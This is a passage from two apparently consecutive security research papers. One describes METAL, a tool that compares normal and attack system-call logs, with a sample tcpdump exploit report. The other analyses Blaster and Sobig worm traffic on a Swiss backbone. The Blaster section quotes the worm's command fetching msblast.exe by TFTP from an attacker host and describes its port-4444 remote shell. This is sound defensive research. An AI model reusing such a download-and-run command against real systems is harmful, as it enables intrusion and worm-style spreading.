http://syscalltrack.sourceforge.net.
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Fig. 4. Log comparison in the METAL tool

were conducted with this set up [8]. As noted in the paper, user identity might
have been added by enabling the appropriate parameters. Log files are used as
input in pairs and are processed in four steps as shown in Fig. 4.

The four steps are called preprocessor, sanitiser, process matcher, and ex-
tractor. The preprocessor prepares the input data for further analysis. The
sanitiser removes parts of log entries that will disturb the comparison. The
process matcher compares log files from normal processes with log files from
attack processes to find the processes that have been changed by the attack.
The changed processes are input to the extractor, which extracts the differ-
ent types of attack manifestations. The output of the tool is an attack re-
port that gives an intuitive overview of the attack event chain and another
report containing specific differences in behaviour between the processes
involved.

The tool is implemented using the Python programming language. It is writ-
ten in an object oriented style to ease the addition of modules that extend
functionality. The tool has been tested on Solaris and Linux systems.
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4.1 Preprocessor

The preprocessor step prepares the input data. For each input file, system calls
generated during startup of the logging tool and during shutdown of the logging
tool are removed3.

This decreases the amount of data and assures that no unnecessary data
are present in the file. The remaining part of the logs are then divided into
separate processes. The result of the preprocessing is one directory containing
the processes extracted from the normal log and one directory containing the
processes extracted from the attack log.

4.2 Sanitiser

As input to the sanitiser step we use the files in the directories created by the
preprocessor. We also use files containing static and dynamic sanitising rules.
Sanitising is done using the methods described in Sect. 3.2. The sanitising step
replaces “noisy” system call arguments and return values with a CLEAN tag,
according to the static and dynamic rules.

The output of the sanitiser is modified log files that contain a minimum of
noise in the logs.

4.3 Process Matcher

The matching step accepts two directories containing sanitised log files where
each log file contains the system calls created by one process. The process match-
ing is based on comparing system call sequences of a fixed length. The purpose
of this step is to find the process in the normal log data that best corresponds
to a specific process in the attack log data.

Matching Procedure. Each log file in the first directory is compared to each log
file in the second directory, and the degree of difference is recorded. The degree
of difference is calculated by comparing system call sequences using the tree
based approach as explained in [7]. A profile of the system call sequences for
one process is first created and the sequences from the other process are then
matched against the profile. This procedure is repeated by matching all processes
from the first log directory with each process in the second log directory. The
degree of difference is the number of mismatching sequences divided by the total
number of matches made. In addition to this, all differences in arguments and
return values are recorded, giving a list of counted differences between processes.

Process Classification. The program sorts the processes into four classes. The
classes are added, removed, changed, and equal. Depending on the degree of
difference we assign each process or process pair to one of these classes. Each
process will be assigned to exactly one class. The program classifies two processes
as equal if they have equal sequences of system calls, equal arguments and equal

3 Starting and stopping the logging generates system calls that should not be part of
the log since no relevant activity takes place here.
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return values. To separate changed from removed and added we use a limit based
on how many percent of the sequences are differ between two processes. Processes
that are slightly different in either system calls, arguments or return values or
any combination of these but that still do not reach the limit are classified
into the changed category. Added and removed are those processes that show
differences to an extent that place them above the limit. The limit must be
chosen so that the following two conditions are satisfied: first, processes that
show slightly different behaviour should be correctly matched. Too low a value
for the limit would make these processes look as though they had been added and
removed even though manual inspection says they are changed. Second, allowing
too high a value as the limit will cause METAL to classify different processes
as changed instead of added and removed. After manual inspecting the outcome
of the experiments, we decided to adopt the value of 0.7 as both necessary and
sufficient.

The output of the process matcher is a list of classified processes.

Process Identifier. The added and removed processes can be identified using
the method proposed by Forrest et al. [7], for example. This is accomplished
by building a database of normal system call sequences for a number of com-
mon programs and comparing the current log to that database. The process is
identified if its log is similar enough to the system call sequences for one of the
programs in the database. However, this module is not yet implemented in our
tool and is not used during our experiments.

4.4 Extractor

The extract step takes as input the list of classified processes. This step focuses
on finding the differences between the processes that are classified as changed.
The logs are run through five different filters: Unique system calls , Unique
sequences, Unique arguments, Unique return values, and Diff. In Fig. 4, these
filters are abbreviated as Syscall, Seq, Args, Rets, and Diff.

Unique System Calls. The unique system calls filter compares the system call
names and records the names that can be found in one log but not in the other.

Unique Sequences. The unique sequences filter finds minimal foreign sequences
that appear in one log but not in the other. The filter creates a tree structure of
system calls from one log to make the sequence matching effective. The sequences
in the other logs are then compared to the sequences in the tree structure. The
sequences must be of a fixed length, which can be chosen in the program. The
program uses an algorithm to extract minimal foreign sequences from the fixed
length sequences. The length of the minimal foreign sequences is shorter than or
equal to the chosen sequence length.

Unique Arguments. The unique arguments filter finds unique arguments and the
associated system call and position in the argument list.

To extract unique arguments the program makes a list of system call names
appearing in one of the logs. It then stores all the different arguments that
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have been encountered for each system call. These arguments are also grouped
according to their position in the argument list. The arguments in the other
log are compared with the stored arguments and all occurrences of system call
arguments in the second log that do not match any argument in the pool of
stored arguments from the first log are recorded.

Unique Return Values. The return value filter finds unique return values and the
associated system call. The return value manifestations are displayed together
with the system call in which the return value occurred.

To extract unique return values we make a list of system call names and group
the return values according to the corresponding system call. Each system call
from one log gets a list of all associated return values. The other log is then
compared to this list, and all occurrences of return values that do not match any
return value in the pool of stored return values from the first log are recorded.

The Diff Filter. The Diff filter shows all the differences in the log files, i.e. reveals
several kinds of manifestations. The Diff filter shows differences in the position
of manifestations and the number of times they appear and reveals repeated
normal sequences (RNS).

The Diff filter uses the UNIX diff in order to extract the differences between
two logs.

4.5 Attack Reports

The tool generates two types of reports. The attack overview report shows one
execution tree for the processes that are active during normal execution and

Fig. 5. Attack overview for the Tcpdump attack
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one tree for the processes active during attack. This overview also shows the
relationship between the processes and classifies the processes as added (A),
removed (R), changed (C), or equal (E). The processes are classified pairwise as
changed and equal and one by one as added and removed. The manifestation
report only takes into consideration the process pairs classified as changed and
shows a detailed list of all differences. Each changed process pair results in one
manifestation report.

Below, we illustrate the use of the program output by discussing the reports
generated by the tcpdump attack.

Attack Overview Report. Figure 5 shows the output resulting from using the tool
to analyse an attack against the tcpdump program. This figure is a manual merge
of the output information from the tool, which is currently in text file format.
The figure depicts the differences between a normal log and an attack log. As
seen in the output, the attack log contains more processes than the normal log.
We also see that a large chain of processes is started from the tcpdump process
in the attack log.

Some processes, among them the tcpdump process, are changed as compared
to the normal log, indicated by the “C” before the process name. A “C” on a light
background implies more significant changes than a “C” on a dark background.
The processes that do not exist at all in the normal log are denoted with an “A’
(added). The init, crond, and gnome-smproxy processes have exactly the same
log entries in both logs and are therefore classified as “E” (equal).

Manifestation Reports. The manifestation reports (see Fig. 6) are created for
the processes that are classified as changed. Each report contains a detailed
description of all differences between the processes.

The report shows what sequences, system calls, argument and return values
that comprise the changes. We also see the Diff output from the log, which
shows all differences, including the position at which the difference occurred. In
Fig. 6, some system calls and arguments differ for the tcpdump process, but no
return values differ.

We can see the execve system call in the detailed report. We also see its
argument, /bin/sh, in the Diff output.

4.6 Creation of Dynamic Sanitising Rules

METAL is also used to create the dynamic rule files used in the sanitising step.
To create dynamic rule files, we use as input two log files generated by normal
activity or two log files generated by attack activity. The output is recorded
in the same kind of “attack reports” as ordinary output from the tool. These
reports, however, do not contain attack manifestations. Instead they contain
differences that represents normally occurring variations in program behavior.
This procedure is done per process, and thus the program generates one dynamic
rule file for each process in the logs. The purpose of dynamic sanitising was
explained in Sect. 3.2.
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---__--__--__--__--__--__--__--__--__--__--__--__--__--__--__--__--__--__--__---

REPORT GENERATED FOR MATCH OF SMALL CHANGES BETWEEN THE FOLLOWING PROCESSES

Process from normal use of system: /nfs/user5/m/ulfla/projects/METALII/logs

/tcpdump/tcpdump_norm_attk/step1//n11_norm/8972_tcpdump

Process from attack on system: /nfs/user5/m/ulfla/projects/METALII/logs

/tcpdump/tcpdump_norm_attk/step1//a11_attk/8782_tcpdump

==================================================================================

The used sequencelength for filtering is: 6

==================================================================================

Unique system calls from [normal] 8972_tcpdump

4_write

==================================================================================

Unique system calls from [attack] 8782_tcpdump

11_execve

==================================================================================

Unique minimal foreign sequences in [normal] 8972_tcpdump compared to [attack]

8782_tcpdump

[’4_write’]

[’54_ioctl’, ’5_open’]

==================================================================================

Unique minimal foreign sequences in [attack] 8782_tcpdump compared to [normal]

8972_tcpdump

[’11_execve’]

==================================================================================

Unique arguments occurring in [normal] 8972_tcpdump but not in [attack] 8782_tcpdump

Syscall: 102_connect has mismatch on pos 2 for arg sockaddr{1, bffff69e}

Syscall: 102_connect has mismatch on pos 2 for arg sockaddr{1, bffff696}

Syscall: 5_open has mismatch on pos 1 for arg "/etc/ethers"

==================================================================================

Unique arguments occurring in [attack] 8782_tcpdump but not in [normal] 8972_tcpdump

Syscall: 102_connect has mismatch on pos 2 for arg sockaddr{1, bffff65e}

Syscall: 102_connect has mismatch on pos 2 for arg sockaddr{1, bffff656}

==================================================================================

Unique diff output from running ’diff [normal] (<)8972_tcpdump, [attack] (>)8782_tcpdump’

7c7

< ["tcpdump"]: 102_connect(4, sockaddr{1, bffff69e}, 110) (rule 92)

---

> ["tcpdump"]: 102_connect(4, sockaddr{1, bffff65e}, 110) (rule 92)

36c36

< ["tcpdump"]: 102_connect(4, sockaddr{1, bffff696}, 110) (rule 92)

---

> ["tcpdump"]: 102_connect(4, sockaddr{1, bffff656}, 110) (rule 92)

47,90c47

< ["tcpdump"]: 4_write(1, CLEAN, 82) = 82 (rule 4)

< ["tcpdump"]: 54_ioctl(3, 35078, CLEAN) = 0 (rule 47)

write-ioctl seq repeated 11 times

< ["tcpdump"]: 54_ioctl(3, 35078, CLEAN) = 0 (rule 47)

< ["tcpdump"]: 5_open("/etc/ethers", 0, CLEAN) = CLEAN (rule 5)

< ["tcpdump"]: 4_write(1, CLEAN, 68) = 68 (rule 4)

< ["tcpdump"]: 54_ioctl(3, 35078, CLEAN) = 0 (rule 47)

write-ioctl seq repeated 11 times

---

> ["tcpdump"]: 11_execve("/bin/sh", CLEAN, CLEAN) (rule 11)

==================================================================================

Fig. 6. Manifestation report example from Tcpdump attack

5 Reducing Manifestations from Infrequently Occuring
Events

In Sect. 3.2 we introduced the concept of infrequently occurring events and
their potential impact on METAL output. We also described why static and
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dynamic sanitising might not be sufficient to remove the manifestations. This
section presents two methods for reducing the manifestations. Both are based
on recording and using dynamic sanitising rules from multiple METAL sessions.
We refer to the methods as short term collection of differences and long term
collection of differences. Both methods are based on the assumption that more
log data will reveal more infrequently occurring events, thus increasing the prob-
ability of finding them. Figure 2 shows how a database, the background pool, is
connected to METAL in order to store and retrieve dynamic sanitising rules.

Short Term Collection of Differences. The short term collection of differences con-
sists of first performing multiple logging of normal behaviour and multiple log-
ging of attack behaviour and then performing multiple normal-normal and attack-
attack comparisons. For each comparison, we run METAL to produce dynamic
sanitising rules. The rules are then merged to provide METAL with a more com-
plete set of dynamic sanitising rules when making the normal-attack comparison.
The greater the number of input logs, the more accurate the sanitising.

Long Term Collection of Differences. The long term collection of differences
consists of collecting differences from different attacks, not only from multi-
ple executions of a single attack. For each attack that is analysed, differences
captured during normal execution are stored in the background pool database.
When comparing normal logs and attack logs, the appropriate stored rules are
retrieved from the background pool and are used as dynamic sanitising rules.
This will provide METAL with an even more complete set of dynamic sanitising
rules since the background pool will be updated for each attack that is analysed.

6 Results of Attack Analysis

The METAL tool was used to analyse five attacks. The first attack targets the
tcpdump program4, the second is a remote format string stack overwrite vulner-
ability targeting the wu-ftpd service5 and the third exploits an implementation
of a memory handling function in the traceroute program6. The fourth attack
is an exploit of a privilege checking flaw in OpenSSH7 and the fifth a denial of
service attack against a network protocol (Neptune SYN flood)8.

6.1 Analysis Procedure

First we log at least two cases of behaviour during normal operation. We then
log two cases of behaviour during an attack. The two normal behaviour logs are
compared using METAL to generate dynamic sanitising rules and to give input
to the normal behaviour pool. The attack behaviour logs are compared in the

4 Tcpdump, Bugtraq ID 1870, CVE-2000-1026
5 Wu-ftpd, Bugtraq ID 1387, CVE-2000-0573
6 Linux traceroute exploit, http://www.securiteam.com/exploits/ 6A00A1F5QM.html
7 OpenSSH, Bugtraq ID 1334, CVE-2000-0525
8 Neptune, CERT CA-96.21
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same way. Then, one of the normal logs is compared to one of the attack logs to
get an overview of the attack and manifestation reports. To remove infrequently
occurring events we manually apply the long term collection technique described
in Sect. 5. For each attack, we get an attack report containing only the relevant
manifestations.

6.2 Results

We compared our attack manifestations to the manually extracted system call
manifestations in [8]. METAL finds the same manifestations and some additional
sequences.

Analysing the Tcpdump attack gives the following results. The attack log
contains 31 processes and the normal log contains eight processes (see Fig. 5).
The program classifies three of the attack processes as equal to processes in the
normal log. It classifies five processes as changed and 23 processes as added by
the attack. After manually performing long time collection of differences, only
two processes remain as changed. From the process tree comparison in Fig. 5 we
see that 21 of the 23 added processes are obviously started by the attack. The
last two processes can be excluded for the following reasons: one belongs to the
logging and is left in the log due to a program bug and the other is a background
process that is normally present in most log sessions but happened to be missing
in the normal log. In total, the results show that, out of 31 processes, we need only
consider the manifestations from two processes. Manual inspection shows that
these two processes are indeed affected by the attack and also that additional
manifestations can be found in the set of added processes. We did not extract
manifestations automatically from the added processes, but it is possible to do
so by finding corresponding normal behaviour with which to compare them.

The results of the analysis are shown in Table 1 below.

Table 1. Results of the attack analysis

Attack type Processes
in log

Changed Changed
(RNS)

Manif exam-
ples

tcpdump buffer over-
flow

39 5 2 execve + args

wuftpd format string 39 9 5 execve + args

openssh privilege
checking

158 48 2 setuid + args

neptune dos 36 8 6 repeated se-
quence

traceroute buffer over-
flow

39 5 2 -

The table shows the performance of the METAL tool. We see that most pro-
cesses can be excluded. The OpenSSH log contained 158 processes, 48 of which had
to be further investigated. Most of these processes were small in size and could eas-
ily be investigated. METAL did not succeed in finding any good manifestations



METAL – A Tool for Extracting Attack Manifestations 101

for the tracrroute attack. This is due to the fact that the normal behaviour used
for comparison was not representative enough. This issue can be solved in one of
two ways. We can either we can choose a normal behaviour that more closely re-
sembles the behaviour of the attack or use logs taken from failed attacks.

6.3 Performance

The time it takes to analyse an attack is affected by the number of processes
involved and the size of the log files. Manual analysis is time consuming even
when the log files are small and requires analytical expertise. Manual attack
analysis may take several days to extract the relevant manifestations for one at-
tack. Compared to the manual extraction in [8] we observe a significant decrease
in processing time for the openSSH, tcpdump and neptune attacks. Using a Pen-
tium 1.8 GHz with 512 MB of memory, it took about one minute to compare
two logs of size 1 MB (31 active processes) and 0.5MB (8 active processes). The
full attack analysis, including creation of dynamic sanitising rules and using the
long term collection of differences to reduce infrequently occurring events, took
about one hour.

7 Conclusions and Future Work

We have presented a tool that aids the investigation of attacks and makes it
considerably easier and faster to analyse attacks. The tool compares events tak-
ing place during an attack with events taking place during normal execution.
This comparison is presented in an overview report and in a detailed attack
manifestation report.

The tool is efficient in extracting the relevant manifestations from the log files
and will exclude most of the noise. The result is a list of precise data that contains
the relevant attack manifestations. It is possible to analyse many attacks in a
short time. We have verified the efficiency of the tool by comparing the output
manifestations with manually extracted manifestations.

In the future we plan to automate short time and long time collection of dif-
ferences. We will run the tool on more attacks to collect an extended set of useful
manifestations. We will further develop the manifestation extraction framework
by creating effective methods to evaluate manifestations, create attack indica-
tors, and define log data requirements. Future work also includes extending the
tool with an ability to process more types of log files, e.g. network log files.
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Abstract. We present an extensive flow-level traffic analysis of the network
worm Blaster.A and of the e-mail worm Sobig.F. Based on packet-level mea-
surements with these worms in a testbed we defined flow-level filters. We then
extracted the flows that carried malicious worm traffic from AS559 (SWITCH)
border router backbone traffic that we had captured in the DDoSVax project. We
discuss characteristics and anomalies detected during the outbreak phases, and
present an in-depth analysis of partially and completely successful Blaster in-
fections. Detailed flow-level traffic plots of the outbreaks are given. We found a
short network test of a Blaster pre-release, significant changes of various traffic
parameters, backscatter effects due to non-existent hosts, ineffectiveness of cer-
tain temporary port blocking countermeasures, and a surprisingly low frequency
of successful worm code transmissions due to Blaster‘s multi-stage nature. Fi-
nally, we detected many TCP packet retransmissions due to Sobig.F‘s far too
greedy spreading algorithm.

1 Introduction

In this paper, we examine worm behaviour from a network centric view based on one of
the very rare real backbone traffic measurements of the actual worm spreading events.
We analyse two major recent Internet worms: Blaster.A [1], that exploits the Microsoft
Windows Remote Procedure Call DCOM vulnerability and which spreads without any
user interaction and Sobig.F [2], a worm that installs its own SMTP-engine and propa-
gates as e-mail attachment, which has to be executed by the user for an infection.

The remainder of this paper is organised as follows: We describe our measurement
setup and survey related work in the rest of Section 1. In Section 2, the infection steps of
Blaster and associated network traffic on packet and flow-level is analysed. In Section
3, we discuss our measurements of Sobig.F related e-mail traffic. Finally, we give our
conclusions in Section 4.
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1.1 Backbone Measurement Setup

In the DDoSVax [3] project at ETH Zurich [4], we are capturing the complete flow-level
(Cisco NetFlow v5) traffic of all border routers of AS559 (SWITCH) since March 2003.
The SWITCH network connects all Swiss universities (ETH Zurich, EPFL, University
of Zurich, University of Geneva, University of St. Gallen HSG etc.), various research
labs (CERN, PSI, IBM research etc.), federal technical colleges and colleges of higher
education (Fachhochschule ZHW, FHA etc.) to the Internet. The IPv4 address ranges
of AS559 and its customers comprise roughly 2.2 million IP addresses. The AS559
backbone carries about 5% of all Swiss Internet traffic [5] or roughly 300 Gigabytes in
about 60 million flows per hour. The size of SWITCH is large enough to get a relevant
view of Internet traffic activity and small enough such that captured unsampled traces
can still be handled rather efficiently.

Cisco’s NetFlow [6] format version 5 that we use defines a “flow” as a unidirectional
stream of packets from one host to another. A flow is reported as a tuple of
source/destination IP address, source/destination port, IP protocol type (i.e. TCP, UDP,
other), packets/flow, number of network layer bytes/flow, time of first/last packet in this
flow, routing-specific and other parameters without any TCP/UDP packet payload.

AS559 transit traffic was excluded from our Blaster.A analysis and ignored in the
Sobig.F analysis. Traffic routed through several border routers is reported more than
once. We eliminated such flow duplicates by counting flows with the same source and
destination IP addresses and ports only once within 50 ms. A different method would
be to use Bloom filters [7] for this elimination. It is possible that partial loss of Net-
Flow data during aggregation in the routers and other worm-unrelated larger network
events introduced distortions into the plots presented. As we captured all NetFlow traf-
fic exported by the routers and as no other major network events during the analysed
time periods were reported publicly, we believe these effects to be small. Another lim-
itation is that no TCP flags are reported in our traces due to constraints in the routers’
hardware-based NetFlow engines.

1.2 Related Work

All major anti-virus software vendors published analyses of the Blaster worm code on
their web sites (e.g. Symantec [8], Trend Micro [9]) based on a host centric view of the
worm behaviour. We made use of this information to crosscheck our own measurements
with the real worm executables in our testbed.

José Nazaris from Arbor Networks describes in [10] some plots of Blaster traffic and
explicits the effects of Blaster on routing. Symantec has analysed in [8] the infection
rate of Blaster in the days after its initial outbreak.

Long-term archives of network backbone measurement data as we used it for our
analyses are rare and difficult to get access to due to privacy laws, data security con-
cerns, the challenge and costs of handling large amounts of real-time statistics data and
the possibility of interference with current network operations and accounting.

There are many special-purpose and mostly commercial tools [11] available for pro-
cessing NetFlow data. Some open source NetFlow tools such as SiLK [12] also exist.
Many network operators use such tools to collect NetFlow data for accounting and net-
work planning purposes. They often use only a small sample of all flow records (e.g.
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1/400 of all records) and rarely store them for a longer time. We know from several
Internet Service Providers and from the network services at ETH that their commercial
software used for real-time network monitoring crashed during the Blaster outbreak
(mainly due to out of memory errors as a consequence of a huge network activity in-
crease). For long-term capturing and analysis of large amounts of NetFlow data, soft-
ware is rare. We used the tools developed in our DDoSVax project for capturing and
data processing.

The University of California, San Diego (UCSD) operates a “Network Telescope”,
which is a /8 subnet that a team of the Cooperative Association for Internet Data Ana-
lysis (CAIDA) [13] uses to analyse backscatter traffic of worms and attacks. With this
measurement setup one can mostly see traffic due to spoofed source IP addresses and
scanning activities. However, traffic of successful infections of productive hosts (espe-
cially if a worm uses multiple steps for an infection like Blaster) are not visible in such
a passive network setup. They published analyses of the worms Code-Red, Slammer
and Witty [14] but nothing on Blaster or Sobig.F.

Research on intrusion detection systems (IDS) was done for more than twenty years.
However, in an IDS usually a lot about users, resources, running services, and other
installed software of the hosts under attack is known unlike to our backbone mea-
surements. Most IDS research focuses on access networks and does not deal with the
specifics of flow-level cross-border traffic in backbones.

Several mathematical models [15, 16, 17, 18] were proposed that simulate and pre-
dict worm propagation behaviour. However, they do not model effects due to network
operators intervening during the outbreak, their parameters must be carefully adjusted
to each new worm and they are valid mostly only for the very early spreading stage.
Due to the scarcity of in-depth analyses of real worm measurements in the backbone,
very little about real worm behaviour in the Internet is known.

2 Blaster

Blaster is a multi-stage worm: for a successful infection, six sequential steps, which
involve traffic on three specific ports, must be completed. We analysed Blaster for the
interplay of infection steps and associated network traffic. We gradually added new
restrictions to our traffic filters. This allowed us to differentiate how many infection
attempts there were, how many were partially successful up to a specific stage and
finally how many were successful. In addition, we analysed our traffic traces for further
anomalous behaviour in relation to the Blaster worm.

2.1 Outbreak

On August 11th 2003, the W32.Blaster [1] worm was first observed in the Internet. In
April 2004, Microsoft estimated the number of all Blaster infected systems since the
outbreak to be at least 8 million [19], whereas the Internet Storm Center stated that
based on their evaluations of firewall logs provided by thousands of volunteers between
200’000 and 500’000 computers had been infected.

The worm exploited a remote procedure call (RPC) vulnerability of Microsoft Win-
dows 2000 and Windows XP operating systems that was made public in July 2003 by
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the “Last Stage of Delirium Research Group” in [20] and that is described as criti-
cal in the Microsoft Security Bulletin MS03-026 [21]. The same vulnerability (which
requires a slightly different exploit code) is present in Windows NT 4.0 and 2003. How-
ever, these systems were not targeted by the main Blaster variant Blaster.A. An infection
of a Windows host by Blaster can be prevented by using a firewall that blocks traffic
incoming to port 135/TCP and by applying the operating system patch against this RPC
vulnerability.

2.2 Worm Variants

As no commonly agreed rule exists for worm and virus naming, W32.Blaster.A
(Symantec) is also known as W32/Lovesan.worm.a (McAffee), Win32.Poza.A
(CA), Lovesan (F-Secure), WORM MSBLAST.A (Trend), W32/Blaster-A (Sophos),
W32/Blaster (Panda) or Worm.Win32.Lovesan (KAV). Besides the A version of Blaster,
many more variants were developed based on the same exploit code. They differ in the
name of the executable or have changed or added mostly malicious functionalities.

2.3 Blaster’s Infection Steps

Measurements of Blaster.A infected computer activity in our testbed network sup-
ported the machine code analysis described in [22]. The following description holds
for Blaster.A, all other variants work very similar. The illustration in Figure 1 shows
Blaster’s infection steps with a focus on network flows that can be observed. The fol-
lowing subsections use the same numbering as Figure 1 and explain each infection step
in detail.

TFPT client

4444 TCP

transmission (new flow)

69 UDP
tftpd

worm
Blaster

Win−

dows

shelllaunch

launch

launch

Blaster
worm

2. scan

3. transmit RPC DCOM exploit code

5. download worm code by TFTP

6. execute remote Blaster worm code

launch

1. initialise

Blaster
infected Host Victim Host

4444 TCP

135 TCP

135 TCP
4. initiate worm code download

transmission (aggregated to previous flow)

Fig. 1. Blaster’s infection steps

Step 1: Worm Initialisation. When Blaster is launched, it opens a mutex called
“BILLY” that is used to prevent multiple infections of the same machine and sets a
registry key to assure it is restarted upon each reboot. Then it checks the date. If the
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current day is the 16th or later or if the current month is from September to December
it starts a TCP SYN flooding attack against windowsupdate.com with a spoofed source
address, which consists of the two first bytes of the local address and the two last bytes
generated at random. This attack was not successful because Microsoft could simply
stop the DNS forwarding from windowsupdate.com to windowsupdate.microsoft.com.
We did not further analyse this attack.

Step 2: Victim Scanning on Port 135/TCP. In Blaster’s initialisation phase, the worm
decides whether it will use the exploit code for Windows XP (80% probability) or the
one for Windows 2000 (20% probability). According to Symantec [8] the worm then
generates an IP address to start scanning as follows: With probability 60%, an IPv4
address of the form X .Y .Z.0 with X , Y and Z chosen at random is used. With prob-
ability 40%, an address of the form X .Y .Z̃.0 derived from the infected computer’s
local address X .Y .Z.U is chosen. Z̃ is set to Z unless Z is greater than 20, in which
case a random value less than 20 is subtracted from Z to get Z̃. Blaster always scans
blocks of 20 sequential IP addresses simultaneously. The destination IP address value
is incremented by one after each scan.

Step 3: Transmission of RPC Exploit Code. If a TCP connection to destination port
135 can be opened, the exploit code is sent to the victim. If it was vulnerable and
the correct exploit code was sent, a Windows command shell process is started that
listens on port 4444/TCP and allows remote command execution. Unpatched Windows
XP computers automatically reboot within one minute after the RPC exploit code is
executed.

According to our measurements with a Blaster.A infected computer in our testbed,
the exploit code is sent as a remote procedure call (RPC) “bind” (72 bytes), an RPC
“request” (1460 bytes) and a TCP packet (244 bytes). Summing these values up and
adding the size of the headers (40-48 bytes for TCP/IP without respectively with TCP
options) and also counting the two packets for the TCP handshake, we get 1976 to 2016
bytes for the RPC exploit code.

Step 4: Initiation of Worm Code Download. Blaster then initiates a TCP con-
nection to port 4444/TCP. If successful, the command “tftp -i attacker-IP
GET msblast.exe” is executed to start a Trivial File Transfer Protocol (TFTP)
download of msblast.exe from the Blaster-infected host. Windows has the TFTP
client tftp installed by default.

Step 5: Download of Worm Code by TFTP. If the remote download initiation was
successful and the victim’s TFTP requests are not blocked (e.g. by a firewall), the
Blaster-infected host is contacted on port 69/UDP for a download of the worm code.
The size at the TCP layer of the Blaster.A worm code is 6176 bytes. In our own mea-
surements with a Blaster.A infected computer, this code was transmitted in 12 TFTP
packets of 512 bytes each and a 13th one of 32 bytes. Accounting for each TFTP packet
32 bytes for IP/UDP/TFTP headers, we get 6592 Bytes on the IP layer.

Step 6: Blaster Worm Code Execution. Finally, the Blaster-infected machine stops
its TFTP daemon after a transmission or after 20 seconds of TFTP inactivity. In case of
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success, it sends a command to start msblast.exe on the already open TCP connec-
tion to port 4444 of the victim. Now, the victim is running Blaster and starts to infect
other machines.

2.4 Identification of Blaster Infections at Flow-level

Infection Stages. We define five different stages A, B, C, D and E that classify to which
extent a Blaster infection attempt on a victim host was successful.

A. The victim host does not exist or does not respond to a connection attempt on
135/TCP.

B. The victim host responds but port 135/TCP is closed.
C. The victim host receives the exploit code but either the exploit code for the wrong

operating system was transmitted or the RPC DCOM security patch was already
applied.

D. The victim host is vulnerable and the correct exploit code is successfully trans-
mitted to port 135/TCP and the TFTP commands are sent to the remote shell on
4444/TCP but the TFTP server does not respond.

E. The infection is completely successful.

Table 1. Flows required for infection stages A - E. ‘A→V’: Flow from attacker to victim,
‘A←V’: Flow from victim to attacker

Stage 135/TCP 4444/TCP 69/UDP
A→V A←V A→V A←V A←V A→V

A - - - - -
B - - - -
C - -
D -
E

Filtering for Blaster Flows. The infection attempt stages defined in 2.4 can be dis-
tinguished by filtering our flow-level backbone traffic for the sequential occurrence of
specific flows between any two active hosts that contain certain protocols and ports and
that have a size and a number of packets in restricted ranges. We derived this informa-
tion for each of the five infection stages from the Blaster analysis given in 2.3, from
packet-level measurements in our Blaster testbed, and from tracking flow-level traffic
of a host that was infected by Blaster during the actual outbreak and that was highly
active on August 12th, 2003.

Obviously, the number of infection attempts per time unit is highest in stage A and
lower in stages B to E as the filter criteria get more and more restrictive. This filtering
for infection stages shows a reduction in the number of infection attempts of several
orders of magnitude as can be seen in the Blaster plots in Figures 2 to 6.

Challenges of Malicious Flow Extraction. We faced the following challenges when
defining our malicious flow extraction filters:
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Fig. 2. Number of ‘stage A’ Blaster infection attempts from Aug 10th to Aug 15th
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Fig. 3. Number of ‘stage B’ Blaster infection attempts from Aug 10th to Aug 15th
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Fig. 6. Number of ‘stage E’ Blaster infection attempts from Aug 10th to Aug 15th

– Retransmissions by TCP due to packet loss (mostly at the receiver) and too short
timeouts caused additional packets in the flows; we observed that the initial TCP
SYN packets were most likely to be retransmitted (possibly due to an overload of
the receiver).

– Different sizes of TCP SYN packets (40 and 48 bytes) due to the presence or ab-
sence of the TCP option field of 8 bytes that indicates the maximum segment size
accepted.

– Indistinguishability of a TCP SYN packet of a malicious flow and of regular use in
case of an unsuccessful connection attempt (e.g. on 135/TCP).

– Inactivity timeouts (30 s) of the NetFlow aggregation engine that cause a split of
one flow into multiple flows for slowly responding hosts (e.g. shells on 4444/TCP)
requires “glueing” of such flows.

– Preventing to count hosts, which had similar traffic like Blaster but out of order or
with non-Blaster payload. Therefore, we also applied a heuristic timing condition,
which required that the start time of each flow belonging to an infection attempt
must lie within 10 seconds of a first 135/TCP flow seen. In our LAN testbed all such
flow start times were below 4 seconds. We chose the larger threshold of 10 seconds
due to expected higher delays in a WAN and due to possibly slower processing
powers of involved hosts.

– Trivial FTP (69/UDP) used by Blaster is a well-known service. Therefore, we had
to further limit our filters to only consider host pairs that had flows on port 135/TCP
and 4444/TCP previous to a TFTP transfer attempt.

2.5 Blaster Outbreak Traffic Analysis

Our traffic analyses focus on a time interval starting shortly before the Blaster outbreak
on 10th of August 2003 and ending on 16th of August 2003. In the following plots, we
have split the total traffic by origin (inside or outside of AS559). With “inside” we mean
all IP addresses of hosts belonging to SWITCH (AS559) and its customers.

For each 5 minute interval, all pairs of hosts that had flows matching the criteria of
the infection attempt stages A to E defined in 2.4 are identified and accounted to the
five stages. Table 1 lists for each infection attempt stage the required flows (marked by
symbol ) and their directions. Congestion in storage tables of the router’s NetFlow
engine can lead to a loss of flows. Therefore, we alleviated the requirements such that



Flow-Level Traffic Analysis of the Blaster and Sobig Worm Outbreaks 111

only at least one matching flow for each port/protocol type (135/TCP, 4444/TCP, and
69/UDP) needed to be present if the stage required that type at all. However, the effect
of this alleviation in the filtering conditions was only minimal.

Infection Attempts. Figures 2 to 6 show the number of infection attempts for each of
the five stages A to E defined in Section 2.4. Monday, August 11th, 2003 at around
16:35 UTC can be regarded as the outbreak of Blaster. We can see in Figure 2 that at
the outbreak the number of unsuccessful connection attempts to port 135/TCP (stage
A) drastically increases from around 0.7 mill. to 1.5 mill. and in the next two hours
to 13 mill. flows per hour. In the three hours after the outbreak, the number of stage
B infection attempts (victim responding but port 135/TCP is closed) grows from about
50’000 to 1 mill. connection attempts per hour. The number of stage C (Figure 4) occur-
rences jumps from 0 to around 650, while stage D (Figure 5) occurrences show only a
single host in total during the first three hours of Blaster. The very first successful infec-
tion from the outside to a SWICH-internal host happenend at 17:42 UTC. Quite late, at
18:20 UTC, the first external host is successfully infected from a host in the SWITCH
network. In the hour from 17:20 to 18:20, a total of seven infections can be seen in
Figure 6. More than a full hour passed after the significant increase of port 135/TCP
activity and before the first successful infection in the AS559 network happened.

Before August 12th, the vast majority of Blaster traffic originated from outside the
SWITCH network. This changed around 6:50 UTC and can be considered as the inter-
nal outbreak. Before that, only few hosts within AS559 had been infected. The reason
for the delay of the internal outbreak is that the external outbreak happened not during
Swiss work time and most internal Windows hosts were switched off during the night.
In the time 23:55 on Aug 12th to 2:01 UTC on Aug 13th, only a single internal host was
successful and infected 11 outside hosts that were all in the same /16 network range.

In the plots for stages A and B, we can observe a drop in the number of connections
from external hosts from 08:30 to 09:10 on August 12th. This was caused by an inbound
